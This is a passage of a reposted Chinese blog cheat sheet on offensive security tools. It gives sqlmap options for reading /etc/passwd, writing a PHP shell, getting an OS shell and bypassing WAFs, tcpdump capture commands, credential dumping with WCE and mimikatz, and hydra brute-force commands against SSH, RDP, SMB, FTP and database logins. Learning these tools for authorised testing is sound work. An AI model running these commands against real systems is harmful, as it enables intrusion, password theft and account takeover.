  258.   • http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857    查询相应信息
  259. FILE SYSTEM类:
  260. • --file-read="/etc/passwd"    // 读取/etc/passwd文件
  261. • --file-write="shell.php" --file-dest "/tmp/shell.php"  // 写入文件
  262. OS类:
  263. • Mysql 、postgresql
  264.   • 上传共享库并生成sys_exec()、sys_eval()两个UDF
  265. • Mssql
  266.   • xp_cmdshell 存储过程(有就用,禁了启,没有建)
  267. • --sql-shell
  268. • --os-shell
  269. • --os-cmd
  270. WINDOWS REGISTORY类:
  271. These options can be used to access the back-end database management system Windows registry
  272. --reg-read // 读取注册表的键值
  273. --reg-add // 向注册表添加键值
  274. --reg-del // 删除注册表的键值
  275. --reg-key    
  276. --reg-value
  277. --reg-data
  278. --reg-type
  279. • sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
  280. GENERAL类:
  281. These options can be used to set some general working parameters
  282. -s      // sqlite会话文件保存位置
  283. -t       // 记录流量文件保存位置
  284. --batch // 非交互模式,需要人工选择的时候按默认选项
  285. --binary-fields=.. Result fields having binary values (e.g. "digest")
  286. --check-internet Check Internet connection before assessing the target
  287. --crawl    // 从起始位置爬站深度,--batch --crawl=3
  288. --crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
  289. --csv-del=CSVDEL dump数据默认存放于” ,”分割的CSV文件中,指定其他分隔符。如: --csv-del=";"
  290. --charset     // 强制字符编码, --charset=GBK
  291. --dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
  292. --encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
  293. --eta Display for each output the estimated time of arrival
  294. --flush-session // 清空session
  295. --forms Parse and test forms on target URL
  296. --fresh-queries // 忽略session查询结果
  297. --har=HARFILE Log all HTTP traffic into a HAR file
  298. --hex // dump非ASCII字符内容时,将其编码为16进制形式,收到后还原。如:sqlmap -u "http://1.1.1.1/s.php?id=1" --hex -v 3
  299. --output-dir    // 指定output输出目录
  300. --parse-errors // 分析和现实数据库内建报错信息 sqlmap.py -u "http://1.1.1.1/sqlmap/a.asp?id=1" --parse-errors
  301. --preprocess=PRE.. Use given script(s) for preprocessing of response data
  302. --repair Redump entries having unknown character marker (?)
  303. --save    // 将这些命令保存成配置文件
  304. --scope=SCOPE Regexp to filter targets from provided proxy log
  305. --test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
  306. --test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
  307. --update // 更新sqlmapMISCELLANEOUS(混杂的)类:
  308. -z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
  309. --alert=ALERT Run host OS command(s) when SQL injection is found
  310. --answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
  311. --beep Beep on question and/or when SQL injection is found
  312. --cleanup Clean up the DBMS from sqlmap specific UDF and tables
  313. --dependencies Check for missing (optional) sqlmap dependencies
  314. --disable-coloring Disable console output coloring
  315. --gpage=GOOGLEPAGE Use Google dork results from specified page number
  316. --identify-waf Make a thorough testing for a WAF/IPS protection
  317. --list-tampers Display list of available tamper scripts
  318. --mobile Imitate smartphone through HTTP User-Agent header
  319. --offline Work in offline mode (only use session data)
  320. --purge Safely remove all content from sqlmap data directory
  321. --skip-waf Skip heuristic detection of WAF/IPS protection
  322. --smart Conduct thorough tests only if positive heuristic(s)
  323. --sqlmap-shell Prompt for an interactive sqlmap shell
  324. --tmp-dir=TMPDIR Local directory for storing temporary files
  325. --web-root=WEBROOT Web server document root directory (e.g. "/var/www")
  326. --wizard Simple wizard interface for beginner users
  327. • -z:参数助记符
  328. • sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u “1.1.1.1/a.php?id=1"
  329. • sqlmap -z "bat,randoma,ign,tec=BEU" -u “1.1.1.1/a.php?id=1"
  330. • sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u “1.1.1.1/a.php?id=1"
  331. • sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u “1.1.1.1/vuln.php?id=1“
  332. • --answer
  333.   • sqlmap -u "http://1.1.1.1/a.php?id=1"--technique=E --answers="extending=N" --batch
  334. • --check-waf:检测WAF/IPS/IDS
  335. • --hpp:HTTP parameter pollution
  336.   • 绕过WAF/IPS/IDS的有效方法
  337.   • 尤其对ASP/IIS 和ASP.NET/IIS
  338. • --identify-waf:彻底的waf/ips/ids检查
  339. • 支持30多种产品
  340. • --mobile:模拟智能手机设备
  341. • --purge-output:清除output文件夹
  342. • --smart:当有大量检测目标时,只选择基于错误的检测结果
  343. • --wizard

 

 

 

 

pangolin

啊D

 

网络监听(抓包嗅探):

wireshark(重点)

tcpdump(重点)

  1. • 抓包
  2. • tcpdump -i eth0 -s 0 -w file.pcap
  3. • 读取抓包文件
  4. • tcpdump -r file.pcap
  5. 筛选
  6. • tcpdump -n -r http.cap | awk '{print $3}'| sort –u
  7. • tcpdump -n src host 145.254.160.237 -r http.cap
  8. • tcpdump -n dst host 145.254.160.237 -r http.cap
  9. • tcpdump -n port 53 -r http.cap
  10. • tcpdump -nX port 80 -r http.cap
  11. 高级筛选
  12. • tcpdump -A -n 'tcp[13] = 24' -r http.cap

Omnipeek      //Windows下的抓包分析嗅探工具

Sniffpass      //密码查看器

cain
• 浏览器缓存的密码

• IE浏览器

• Firefox

 

pwdump    通过Windows系统的SAM数据库提取出账户的用户名和密码,得到的是LMhash和NThash算法过后的密文,然后拿到kali上通过相应的工具进行解密

WCE (WINDOWS CREDENTIAL EDITOR)    Windows身份编辑器

由于通过SAM数据库获取的密码是密文的形式,如果密码足够复杂,破解是很难的,通过WCE相应的工具是直接从内存里面去提取用户名和密码的数据

• /usr/share/wce/

  1. • 需要管理员权限
  2. • wce-universal.exe -l / -lv
  3. • wce-universal.exe -d
  4. • wce-universal.exe -e / -r
  5. • wce-universal.exe -g
  6. • wce-universal.exe -w       //直接从内存里获取用户的明文密码
  7. • LM/NT hash

 其他工具

• mimikatz   //俄罗斯人开发的

  1. • privilege::debug     // 提升权限
  2. • sekurlsa::logonPasswords     // 查看已登录用户的明文密码
  3. • ::

查看更多密码查看工具

 

远程控制类:

darkcomet        一款法国人开发的远控软件

 

密码爆破类:

hydra

参数详解:

  1. -R  根据上一次进度继续破解
  2. -S  使用SSL协议连接
  3. -s  指定端口
  4. -l  指定用户名
  5. -L  指定用户名字典(文件)
  6. -P  指定密码破解
  7. -p  指定密码字典(文件)
  8. -e  空密码探测和使用登录名作为密码以及登录名倒序作为密码(nsr)
  9. -C  用户名可以用:分割(username:password)可以代替 -l username  -p password
  10. -o  输出文件
  11. -t  指定多线程数量,默认为16个线程
  12. -vV  显示详细过程
  13. server  目标IP
  14. service  指定服务名(telnet、ftp、http、mysql、ssh)

 使用案例:

破解ssh:
hydra  -L  user.txt  -P  password.txt  -vV  -o  ssh.log  -e  ns   IP    ssh
破解smb:
hydra  -l  administrator -P  password.txt    IP    smb
破解rdp:
hydra   IP   rdp   -l   administrator    -P   password.txt   -V
破解telnet:
hydra   IP   telnet   -l  administrator  -P  password.txt    -t   32   -s  23   -e  ns  -f   -V
破解ftp:
hydra   ftp   IP    -l  administrator  -P  password.txt   -t (默认16线程)   -vV
hydra   ftp   IP    -l  administrator  -P  password.txt  -e   ns   -vV
破解Cisco:
hydra   -P  password.txt    IP  cisco
hydra  -m  cloud   -P  password.txt    10.58.26.98  cisco-enable
破解sqlserver密码:
hydra.exe -l sa  -P c:\password.txt  192.168.25.26 mssql
破解mysql密码:
hydra.exe -l root  -P c:\password.txt  192.168.25.26 mysql指定登录名密码的方式,使用 “登录名:密码” 的格式放到文件中指定hydra -C default_accounts.txt ftp://localhost/通过文件来指定攻击目标(可以自定义端口):hydra -l admin -p admin -M targets.txt ftpBrute Force模式(暴力模式),使用 “-x” 选项指定:-x minimum_length:maximum_length:charsetcharset 位置,使用 a 表示小写字母,A 表示大写字母,1 表示数字
  • -x 1:1:a 生成一个字符的并且小写字母的密码。也就是说该参数会尝试从a到z共26个密码。
  • -x 1:3:a 生成长度为1到3个字符并且全部小写字母的密码
  • -x 2:5:/ 生成长度为2到5个字符并且只包含斜杠的密码
  • -x 5:8:A1 生成长度为5到8个字符并且有大写字母和数字的密码

示例:

hydra -l ftp -x 3:3:a ftp://localhost/

default_accounts.txt格式:
  1. admin:password
  2. test:test
  3. foo:bar
targets.txt格式:
  1. foo.bar.com
  2. target.com:21
  3. unusual.port.com:2121
  4. default.used.here.com
  5. 127.0.0.1
  6. 127.0.0.1:2121

pkav 、http  fuzzer、Discuz批量用户密码暴力破解器

 

sqlmap

beef

 

转载于:https://www.cnblogs.com/steven9898/p/11390542.html

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号